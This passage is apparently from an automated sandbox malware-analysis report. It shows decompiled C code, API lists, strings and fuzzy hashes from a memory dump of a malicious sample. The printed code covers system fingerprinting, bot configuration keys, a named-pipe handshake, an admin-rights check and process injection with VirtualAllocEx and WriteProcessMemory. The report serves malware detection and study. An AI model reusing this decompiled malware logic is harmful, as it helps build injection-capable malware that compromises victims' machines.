				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
start_srv, xrefs: 00401E6C
lid_file_upd, xrefs: 00401E25
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
loader_id, xrefs: 00401F4B, 00401F6B
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
kernel32, xrefs: 00401DF7
work_srv, xrefs: 00401E5E
born_date, xrefs: 00401EAD, 00401ECC
IsWow64Process, xrefs: 00401DF2
net_type, xrefs: 00401E87

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C65CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 006C65DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 006C65F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 006C661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 006C663B

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: c5fcd8ab19e98854fd8529d7c740ee4c6f62f1b97bae9b517b032e8daee409c5
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 00117371600218BFDB619F66DC49FEB3FA9EB047A9F114028F909E7290D7B1DD0086A8

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

